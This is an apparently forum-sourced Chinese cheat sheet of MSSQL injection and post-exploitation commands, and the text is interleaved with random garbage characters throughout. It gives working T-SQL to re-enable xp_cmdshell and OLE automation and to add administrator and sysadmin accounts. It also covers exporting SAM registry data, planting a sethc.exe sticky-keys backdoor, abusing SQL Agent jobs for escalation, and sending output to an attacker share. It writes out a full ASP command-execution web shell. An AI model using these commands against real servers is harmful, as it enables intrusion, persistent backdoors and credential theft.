1 未能找到存储过程'master..xpcmdshell'. EXEC master.dbo.sp_addextendedproc 后用下面的三种方法,在注入点上执行加个空格和;号2 _& P3 x3 j2 g# l9 U
恢复方法:查询分离器连接后,
: p* D1 X; R" s) q2 z) B4 k第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int
' s' W' y% P( g/ M# V6 f第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
1 h$ X( R! N& p6 x9 m4 h) h然后按F5键命令执行完毕
7 n" ^4 D! Y( e |/ ~* f" B# E# }3 O- e. j7 Y4 N% T+ D' E" |
2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)
# d, _! n" F2 ?5 d$ n恢复方法:查询分离器连接后,3 `- k0 ] Y% f+ k; @9 k% X- b1 a
第一步执行:EXEC master.dbo.sp_dropextendedproc "xp_cmdshell"
0 }) ?8 l4 O0 w- ?5 H0 V第二步执行:EXEC master.dbo.sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
. o: p b- j; ^% T; C- d然后按F5键命令执行完毕, |7 d! i$ R( Z, ~3 }- B: u
+ [ K7 ~6 R& C: n0 H0 [' n3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)8 E( j/ {- p( u% e. C2 Y
恢复方法:查询分离器连接后,; D3 I, V( U) J# q, {" b/ e
第一步执行:exec sp_dropextendedproc 'xp_cmdshell': U) m% R% G) ]0 V* P2 W
第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll' ( ~5 b& z8 r7 r8 l
然后按F5键命令执行完毕
/ z' j5 |# |' t/ x, t( x1 O" q* g) K+ R! j [- r
4 终极方法.
% ^; _9 ]' l4 t0 ]& H7 n如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:6 W: y9 |2 |1 e: j! P0 \4 J
查询分离器连接后,
0 [; `+ x/ O r* g; x% o/ ]2000servser系统:
" x, x- r6 ]* G8 z4 s6 @: b7 E' rdeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 新用户 密码 /add') y7 s) E: F* l- J+ A" L
" m. r# d- O# a" i) Ndeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 新用户 /add'# `- j' t9 p0 u! T' t7 \
( h0 D; f7 m0 T/ ^" O0 ?- n
xp或2003server系统:
+ r& p& T) Y f% D: @
7 D% Z9 v5 y, ^2 \+ q9 L: }declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用户 密码 /add'8 ?4 [0 @( t1 x9 }# g, Z
+ c( O, f3 N/ c* y9 C
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用户 /add': s) W [$ V/ x2 q* U# ]+ m
( k* U+ a" h5 ?" K0 G" N& j* V( c4 y
五个SHIFT6 u0 p; m5 d0 F9 Y4 [& {
declare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';0 `: i. a1 c( }2 [: j. K/ H0 {, ]' S
5 ~' o/ r: R0 c& G" P: Hdeclare @oo int exec sp_oacreate 'scripting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';
8 t1 J! ^. s5 W* n# G4 h- A
, W7 }& |4 I, F# P! wxp_cmdshell执行命令另一种方法" Y* z Y$ A7 [" I2 C/ L
declare @a sysname set @a='xp_'+'cmdshell' exec @a 'net user refdom 123456 /add'
4 A" A% `' H: q% A
3 k, k$ {5 p" U5 o判断存储扩展是否存在# Z S) U, `0 \: D$ Q1 T3 b& Y
Select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'1 J0 u8 i( {' V8 V
返回结果为1就OK7 Z2 Z8 M- t0 M
/ J* Y3 G# P: {, H$ v" B% R
% b! _4 s* o# T+ r
上传xplog70.dll恢复xp_cmdshell语句:! ]8 o- o9 E8 q2 Q
sp_addextendedproc xp_cmdshell,@dllname='E:\newche2\about\XPLOG70.DLL'
S/ Z' n2 a A, S( w; Q& `) ?( g0 m0 a i1 c
否则上传xplog7.0.dll
( L# ^! @, q7 l+ x dExec master.dbo.addextendedproc 'xp_cmdshell','C:\WinNt\System32\xplog70.dll'2 k( }# @) w2 B5 S
: R& \1 k: O0 L( ~0 C* E8 g
* u7 O7 G7 D4 g3 I& |+ F$ c8 ^1 e
# X: o5 ?1 M4 Q k8 A" }$ W首先开启沙盘模式:" g- E5 D* h6 k5 A" _: X
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1- y6 E3 j" ~( ]# a2 r6 K3 \5 i
! I- ~# ^& k; ]- V$ M% c然后利用jet.oledb执行系统命令
/ h0 j0 A' g. |9 d) pselect * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')1 k, }# G2 q8 u( ^6 }8 i d! X
返回 不能找到c:\windows\system32\ias\ias.mdb错误,用exec master..xp_dirtree 'c:\windows\system32\ias\ias',1,1-- 发现c:\windows\system32\ias\ias.mdb没了,应该是被管理员删掉了,还有另一个mdb也没了* { u' `$ H) @( E# @7 d5 ?% M+ I
& |9 |' b8 m' E, T0 u- Q$ \& Y
7 p: j4 N# Q, |5 Z6 i$ \' M" X$ Q1 K8 W H4 @: t7 L
恢复过程sp_addextendedproc 如下: - O6 i) M- ]( R* U
create procedure sp_addextendedproc --- 1996/08/30 20:13 ( i/ X" s* @0 z/ L) y
@functname nvarchar(517),/* (owner.)name of function to call */ / U1 ^) X. M% l$ ?$ x" v
@dllname varchar(255)/* name of DLL containing function */
; n1 J' ^5 e3 g8 k5 \8 d2 U9 x8 Zas ) s1 s6 | v! q; k! w
set implicit_transactions off
4 G$ w- L( i1 Iif @@trancount > 0
& X$ ~2 o) _' s: z0 U# Rbegin
. U6 ]$ j% s1 r! v# C- X% |- z, qraiserror(15002,-1,-1,'sp_addextendedproc') 2 v# {) k% u X& z/ L8 f; b
return (1)
8 b! q: t0 A% |$ N& g! T# p1 |! `end
4 K4 J# z( E& O3 p- d' |% c2 d& }3 Ddbcc addextendedproc( @functname, @dllname)
; A2 p1 w' e6 l# Z% D2 Hreturn (0) -- sp_addextendedproc
- ]" E/ g" P; p& P( Z; WGO 5 ]0 [3 i3 E9 \4 s/ }6 x
% X- J2 `0 ~* j% W7 S# `
0 q m L7 L, Y' I ~" c5 D* `& e: U+ i
导出管理员密码文件& m2 S' d' `" x7 ]5 Q* @
sa默认可以读sam键.应该。. E) i% A$ M9 Z+ \ d4 O% D; b) v
reg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\old.reg# c5 y1 c! y: ~2 a- _
net user administrator test
( Q- l" o) b/ ]2 C" a) P用administrator登陆.
1 q' T( B( |1 {9 g: f$ j用完机器后( O. c$ T+ V9 e8 j: @* O' D W" {
reg import c:\test.reg
, O$ \, \* _7 ?9 f$ e: O8 h5 u5 }根本不用克隆.
4 H$ \ J3 h$ K找到对应的sid. . A+ Y N8 x9 Z1 D- A! n
3 q2 B; \0 i: g7 r
. a& a$ C0 ?/ |/ y- ?4 T9 f9 T4 l! H* z: X
恢复所有存储过程
" _( y6 P- b1 Juse master
4 h5 C' y+ u nexec sp_addextendedproc xp_enumgroups,'xplog70.dll'
8 Y! u" N2 t! a5 T l9 @. }exec sp_addextendedproc xp_fixeddrives,'xpstar.dll'
/ _9 I T3 J: ^4 T& r, V9 Cexec sp_addextendedproc xp_loginconfig,'xplog70.dll'
6 b3 R5 v; K1 wexec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll' : V0 ?$ ~2 H6 A. P
exec sp_addextendedproc xp_getfiledetails,'xpstar.dll'
" d: H& p5 R1 K# Hexec sp_addextendedproc sp_OACreate,'odsole70.dll'
3 @2 i& m* o5 ? `3 gexec sp_addextendedproc sp_OADestroy,'odsole70.dll'
# k6 r- G2 u/ G4 N; M# J$ t% jexec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll' * r; T' I8 U1 N+ D" h
exec sp_addextendedproc sp_OAGetProperty,'odsole70.dll' 3 H) K7 u- {2 H* n
exec sp_addextendedproc sp_OAMethod,'odsole70.dll' 4 I, Q* u0 U* S* X N: P
exec sp_addextendedproc sp_OASetProperty,'odsole70.dll' ' U& j7 R" I \& k; t g. v
exec sp_addextendedproc sp_OAStop,'odsole70.dll'
) C0 [+ Q5 Q1 {$ v0 v5 k) uexec sp_addextendedproc xp_regaddmultistring,'xpstar.dll'
: W; K# k4 ]5 Wexec sp_addextendedproc xp_regdeletekey,'xpstar.dll'
" z* J, X& R7 F8 [exec sp_addextendedproc xp_regdeletevalue,'xpstar.dll' _3 i% [: X: a& C: x# |
exec sp_addextendedproc xp_regenumvalues,'xpstar.dll'
) V# {/ n) L) G b, ?0 dexec sp_addextendedproc xp_regread,'xpstar.dll' 4 V& t! u* y8 Q' p9 O
exec sp_addextendedproc xp_regremovemultistring,'xpstar.dll'
3 |/ u# z2 L" M, x6 ]1 X& ` Oexec sp_addextendedproc xp_regwrite,'xpstar.dll' - B4 M) E+ I: V/ J9 n
exec sp_addextendedproc xp_availablemedia,'xpstar.dll'6 f0 c# u2 E, C1 z g7 m
/ i9 ~3 k n+ ^: q* N
& _2 _$ M1 z' z
建立读文件的存储过程# ~, d& h1 Y# s( a
Create proc sp_readTextFile @filename sysname8 T' Q& r' X" C+ @- B6 i
as6 d( E5 G8 n6 h5 y
7 x+ v7 F' S( f$ w; i% c! R
begin
! M5 L9 C7 Z8 @$ n! k set nocount on 3 y% t) U7 ~; T9 k% Q; k/ i* `9 B
Create table #tempfile (line varchar(8000))
% }# p2 t" |5 i( r0 M- C' _/ H exec ('bulk insert #tempfile from "' + @filename + '"')- i# L* k! h" t0 C" B t% i
select * from #tempfile
+ b6 |% z( f, G- W9 _3 f drop table #tempfile
8 W5 c% S% d) [! }% Z0 U: JEnd
. @' Z7 ?- e9 }2 S# O) n0 \! a0 j" W/ B
exec sp_readTextFile 'D:\testjun17\Teleweb-Japan\default.asp' 利用建立的存储过程读文件; R7 o m% U C7 _4 z, |% Z8 d
查看登录用户8 w. c/ n( k' X
Select * from sysxlogins' g E: _' d( p& a5 @8 O
4 n8 ?7 c( \& Y7 B* o把文件内容读取到表中/ t- g8 F( c+ O. C* m7 E2 V& F
BULK INSERT tmp from "c:\test.txt"6 ^* p" P8 _- c* ~3 [4 B5 d7 T
dElete from 表名 清理表里的内容
1 S$ h9 O( ^5 f! W- \, ucreate table b_test(fn nvarchar(4000));建一个表,字段为fn! Y f* s# t8 m0 S
5 \9 G* n- L5 M: S. N: r
( G+ S+ h6 U6 {* |* Y& v0 E
加sa用户7 z; x1 e% j" L
exec master.dbo.sp_addlogin user,pass;
# c+ B8 N( `# C% `exec master.dbo.sp_addsrvrolemember user,sysadmin
3 U& |3 Q: H% n4 J
' y5 k! o4 q6 r2 X; }! @: i1 A4 u1 N& g# D- ^; @5 C t
- ~0 T1 p) v3 |/ W
读文件代码. B* ]; N6 ?' g
declare @o int, @f int, @t int, @ret int
6 i$ Y; e! A0 w! L+ Ideclare @line varchar(8000)6 n7 Q X- O; u# R( z/ e R9 r
exec sp_oacreate 'scripting.filesystemobject', @o out5 a) ~( z! x# [; c1 Z5 A7 V5 q
exec sp_oamethod @o, 'opentextfile', @f out, '文件名', 1
) j8 {5 u7 U) s- e) {! w5 S4 E# kexec @ret = sp_oamethod @f, 'readline', @line out
& \, K: I$ t! m9 e. Swhile( @ret = 0 )' ]( e! x" J. G! x" \$ U6 Y
begin
: @- s4 c& c. A# Z* \print @line$ k$ I2 N5 `7 ]8 X" |% |
exec @ret = sp_oamethod @f, 'readline', @line out% `' N i; o7 H& H5 \% e- _
end( u; `8 |9 |' Y4 e4 q
' {4 _6 O s) ]3 A
* K9 t0 {! \1 G! u5 a
写文件代码:6 Y! e0 W. ]+ v' R' M
declare @o int, @f int, @t int, @ret int' i& L I" Q% Q' X3 {. P5 B
exec sp_oacreate 'scripting.filesystemobject', @o out. K _2 c9 c: @, o9 }& h/ M
exec sp_oamethod @o, 'createtextfile', @f out, 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini', 1: o% r! N( _% H( b$ h
exec @ret = sp_oamethod @f, 'writeline', NULL, 《内容》
+ V! V0 { w7 g& {
( C. U! N% n/ ` b* C6 e8 o0 U; m5 C6 K! u! p
添加lake2 shell; x& I2 y2 \6 _3 t4 ?, `
sp_addextendedproc 'xp_lake2', 'c:\recycler\xplake2.dll'
( z" J. i4 R Y/ l! A& Psp_dropextendedproc xp_lake2* ? R! i0 K! C6 O, B
EXEC xp_lake2 'net user'4 W# u0 j n" M p
" l# m1 k4 S5 P0 q9 k) U
' ?: V" [) X% E f8 V+ ~- ]) Z
得到硬盘文件信息
8 d% |4 S& I! h- y0 s. i; l--参数说明:目录名,目录深度,是否显示文件 4 ]9 S. m1 I2 i
execute master..xp_dirtree 'c:' 6 z& s1 ?& l! f7 G8 E# O8 t" `
execute master..xp_dirtree 'c:',1
) O$ p% x! [7 Fexecute master..xp_dirtree 'c:',1,1 ) R) C, o6 O, a6 S; y7 X
" H2 z4 E: y3 a- o; N6 i
/ I* @, n% t- E7 ]* d) Y
读serv-u配置信息
+ F8 N9 z. w- Z1 v; I4 S3 ` texec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ReadMe.txt'
$ N. r0 |6 Y8 o* \8 O- R2 n8 Zexec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini'; `' A" r$ k# [* Z' k4 y ^
4 A; C5 ^: l- m& K. n( x) r通过xp_regwrite写SHIFT后门
8 J$ M- @" ^) t* d/ d. {exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows\system32\cmd.exe on';--: ~0 D+ Q7 T. g- q m6 O
& a0 C0 y! v% s& o2 \* S$ n+ d; G; w
) J/ U8 P; i; @& {
- @0 Q$ r) i6 _找到web路径然后用exec master.dbo.xp_subdirs 'd:\web\www.xx.com';
) L7 j+ }. a$ {% N0 _exec sp_makewebtask 'd:\web\www.XXXX.com\XX.asp','select''<%execute(request("SB"))%>'' '备 份一个小马就可以了$ B2 U& E; R5 g, q
( d3 ]. w; S0 v+ N& K; fEXECUTE sp_makewebtask @outputfile = ‘WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'* [9 U+ S& B6 w. D
6 A$ t" ^4 r( Z& J% @' j: v( X+ j# f' B5 j( e
6 ?" f9 x! u5 }/ e# `
sql server 2005下开启xp_cmdshell的办法# H9 _2 j8 p' _ k/ f1 d" m; e
8 c( h3 a) [& B+ f6 _
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
& c" @) u/ k- l% b# X5 r8 B
+ a7 ?2 e) \/ B$ x1 I5 P/ ZSQL2005开启'OPENROWSET'支持的方法:
) q8 y. j. V; H# C+ c. m% k' N: p# c0 \4 d4 W. J
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;
- h% L- V' f4 h1 M$ s0 E! J# {: s! l2 ]1 I# h* F+ _
SQL2005开启'sp_oacreate'支持的方法:3 I. D, |1 r5 s9 ~
6 X {: D. ^: S u J6 y- `
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;
+ y6 `1 s/ b9 v8 a9 Q5 x( F% b0 O5 I2 `; s
: J: G2 c/ d3 J, r- z8 e
7 P: b& J* k9 s5 _; s- B8 W8 B a0 `- s2 K" Z% F4 K: o9 n5 Y
5 d5 [7 q! R2 a% d1 k, Q) y- n: u# D( z" ?! |" B7 u& M
2 }1 j- v1 P( P9 [6 l% v
: ^- ?2 H) T8 B( m& p) [3 x
4 ]; R, g" V% A* m
. C: g; Q* B3 ^
; X- V& g& A w) n
& d/ K. U0 ?4 D% n7 |+ E n2 M. a: o) s O/ N( j
" l5 V4 m6 t# ]
! I+ O' z4 A: W
0 c9 {6 M" J8 g4 ? ]' J2 {5 j" ~
8 X, l' x2 ^% F5 ^/ V0 y( _
2 N0 p" |: R) Q: p+ t* ]2 P
& ^& L( W& I) F3 N$ a! Q3 e6 J0 ], A- K1 R& s" I
, {; a5 Y3 O% {8 v9 \+ f
& v! M1 G G, |% E/ T7 l) }( s
$ [0 I- `+ c, \. V; z, G0 a7 I以下方面不知道能不能成功暂且留下研究哈:
& z9 B# L1 O# c& U& v! d4)8 P% o6 r& I; X% }4 `
use msdb; --这儿不要是master哟
$ B6 N: z t9 O# t2 W/ V& [exec sp_add_job @job_name= czy82 ;7 F _2 o! E0 ~4 \! \: [
exec sp_add_jobstep @job_name= czy82 ,@step_name = Exec my sql ,@subsystem= CMDEXEC ,@command= dir c:\>c:\b.txt ;6 k) A; W* W- E
exec sp_add_jobserver @job_name = czy82 ,@server_name = smscomputer ;
2 Q! @! c, n3 p+ Aexec sp_start_job @job_name= czy82 ;0 \: x! [6 k; \/ _, m
; \! c9 r. e, w! r1 q! Q& g
利用MSSQL的作业处理也是可以执行命令的而且如果上面的subsystem的参数是tsql,后面的我们就可以$ @5 \" _+ U4 ~6 X& p, T9 R9 a
执行tsql语句了.! w) F; s/ @4 |6 O5 G) J
对于这几个储存过程的使用第一在@server_name我们要指定你的sql的服务器名
% W2 X$ ^% ]( r8 V7 Q第二系统的sqlserveragent服务必须打开(默认没打开的气人了吧)9 `! K, _& E) T; @( d1 Q: s
net start SQLSERVERAGENT: m4 s6 z- A8 f7 [; E
! w# T/ p6 g" y, B% J
对于这个东东还有一个地方不同就是public也可以执行..同这儿也是有系统洞洞的看下面的
% f- q# |5 u$ q# h* J7 |2 qUSE msdb& S$ S; T; E5 C8 Y. c
EXEC sp_add_job @job_name = GetSystemOnSQL ,
% Y' O" @9 M$ E$ L& k4 N1 d0 u- M# ^@enabled = 1,( X9 U* a/ d* W- e. \ D
@description = This will give a low privileged user access to6 B) w+ Q2 X6 {# E* O
xp_cmdshell ,
6 v, d1 f. d% k& R" C. t. }@delete_level = 14 W$ A/ {6 O% z" P- k4 i
EXEC sp_add_jobstep @job_name = GetSystemOnSQL ,% Q- i& ?* ?, n# x$ ?: ~
@step_name = Exec my sql ,
' r' d0 I$ s% L/ E; ?$ o@subsystem = TSQL ,. C+ q+ l/ Q5 W2 i
@command = exec master..xp_execresultset N select exec
9 I7 F) W5 t* h9 A, {master..xp_cmdshell "dir > c:\agent-job-results.txt" ,N Master
7 W( r, Z& w- u4 QEXEC sp_add_jobserver @job_name = GetSystemOnSQL ,
4 C2 a4 c+ {( H@server_name = 你的SQL的服务器名 ; K# x6 K" V3 Q
EXEC sp_start_job @job_name = GetSystemOnSQL , B- g2 @2 |. E
% z* ^' E2 r* T* K) n2 a1 O不要怀疑上面的代码,我是测试成功了的!这儿我们要注意xp_execresultset就是因为它所以( {9 G- t$ M e# Y0 J7 P& ?
才让我们可以以public执行xp_cmdshell5 h! I2 x/ @ d1 t7 }
4 [$ S6 \- A2 E4 V9 g1 S7 l5)关于Microsoft SQL Agent Jobs任意文件可删除覆盖漏洞(public用户也可以)
^9 F! {- e' m% V" y+ \# q在安焦有文章:http://www.xfocus.net/vuln/vul_view.php?vul_id=2968
4 g# @/ O: P# s4 U' j/ f7 e
5 X( j) @3 z) b6 o$ T) J. ~" b/ CUSE msdb
8 p2 L* p, Z7 X$ U' F/ B4 Q8 Z+ a; ^EXEC sp_add_job @job_name = ArbitraryFilecreate ,' E8 w Q' ] p- z7 D3 B: N
@enabled = 1,, S+ d% Y$ @ f. L j
@description = This will create a file called c:\sqlafc123.txt ,
1 f6 O' T+ L& `' l@delete_level = 1
6 H0 @& e/ B' t; B2 s H# ?" nEXEC sp_add_jobstep @job_name = ArbitraryFilecreate ,
% P$ Q. r& o% E! @" ?4 }@step_name = SQLAFC ,) A) Q- ?5 m3 C% z8 ?( q* y
@subsystem = TSQL ,. u- v5 e- z4 w a/ h5 M( F
@command = select hello, this file was created by the SQL Agent. ,/ Q! K" z! W0 z7 u: R0 Y
@output_file_name = c:\sqlafc123.txt
$ I! j, R' x1 c @5 wEXEC sp_add_jobserver @job_name = ArbitraryFilecreate ,
$ D. R7 G8 `3 w* D) [" T# f@server_name = SERVER_NAME
" O2 ?! }) X. G# T" R: VEXEC sp_start_job @job_name = ArbitraryFilecreate 6 K: D4 n0 m0 _6 D5 F
3 D. r$ ]' G5 d如果subsystem选的是:tsql,在生成的文件的头部有如下内容8 i/ C( n) L! N( Q- f
0 \- E) g9 ]) y: ]! I+ G??揂rbitraryFilecreate? ? 1 ?,揝QLAFC? ???? 2003-02-07 18:24:19
$ J% @: H2 y7 z6 f----------------------------------------------
& v3 Q/ O+ y9 I5 Y$ g% |hello, this file was created by the SQL Agent.
* e# R& i7 ~+ }. H5 f- M, @9 w- l/ v
(1 ?????)
, u2 ?4 W" `8 \, \+ H8 R/ g8 |3 y. z9 a! X; N, P
所以我建议要生成文件最好subsystem选cmdexec,如果利用得好我们可以写一个有添加管理员+ U8 l5 W5 {! V
命令的vbs文件到启动目录!
1 o5 N/ R0 T! g% M! H3 j% g, {% J% R- `5 y; G
6)关于sp_makewebtask(可以写任意内容任意文件名的文件)# p; ?& W* F! i9 u' q, S! p
关于sp_MScopyscriptfile 看下面的例子/ a6 h. x; `; ]3 q6 @
declare @command varchar(100) 0 ~7 [0 {: @, _. h
declare @scripfile varchar(200) m" I& o* C4 b0 }! ]5 N
set concat_null_yields_null off
% x- a8 o# K0 X- rselect @command= dir c:\ > "\\attackerip\share\dir.txt" 7 J+ f/ @% i9 T) p3 P
select @scripfile= c:\autoexec.bat > nul" | @command | rd "
- w8 w2 U, A* o) K. {. r8 I$ iexec sp_MScopyscriptfile @scripfile , ) p4 r4 w, f& d5 n2 m
c! b3 _0 k" m1 N* m
这两个东东都还在测试试哟
o) P6 L2 M. Z让MSSQL的public用户得到一个本机的web shell & b' n; e, F; }6 X# L: Z
& x0 e' M6 H- `. p/ M" c5 usp_makewebtask @outputfile= d:\sms\a.asp ,@charset=gb2312,
9 r- H) u9 F6 x- j--@query= select <img src=vbscript:msgbox(now())> " E0 o7 ]. g3 m7 L. `- n
--@query= select <%response.write request.servervariables("APPL_PHYSICAL_PATH")%>
0 a* h {2 B* p" Z( l$ s- Y% q# U3 ^# R@query= select 7 j! g* J- T' W1 X, j
<%On Error Resume Next
6 n# j) c# d( f' l8 m7 O: l' H0 FSet oscript = Server.createObject("wscript.SHELL")
; b- T" K8 s' H1 |( LSet oscriptNet = Server.createObject("wscript.NETWORK")
$ T9 {: p S% m s- T+ I* \6 tSet oFileSys = Server.createObject("scripting.FileSystemObject") 2 I) _3 z! b$ R; ?: N1 H8 h
szCMD = Request.Form(".CMD") 2 p2 {) w. @' |0 Y
If (szCMD <>"")Then
4 p! _4 e4 ?7 \6 h3 C7 [5 {: y3 ZszTempFile = "C:\" & oFileSys.GetTempName() 6 s. F. N4 A; j1 V+ X
Call oscript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True) ( o* b% o4 U6 y( K& A
Set oFile = oFilesys.OpenTextFile (szTempFile, 1, False, 0)
" L$ ^& W. L" W$ }1 K C H7 oEnd If %> 8 K" \( y# `7 {0 N! Y- O9 s3 H- h
<HTML><BODY><FORM action="<%= Request.ServerVariables("URL")%>" method=" OST">
' X% O7 C6 v+ p& H<input type=text name=".CMD" size=45 value="<%= szCMD %>"><input type=submit value="Run">
) T% k6 b# k( h2 P</FORM>< RE>
, V, S' T( b- C2 f<% If (IsObject(oFile))Then
7 k+ Z8 ~; k: w* N4 X% o2 BOn Error Resume Next
7 x/ c4 V7 p+ ]* C2 G. w1 `( MResponse.Write Server.HTMLEncode(oFile.ReadAll) ; ~6 e& v; x! i( {# y( l
oFile.Close ( k9 }+ U" R* Z: s) C
Call oFileSys.deleteFile(szTempFile, True) / v6 k+ l: q+ o! c) Y2 w: S
End If%>
0 l( y6 t: B0 H7 t: k</BODY></HTML>
$ H1 O% n2 D3 H: {& b |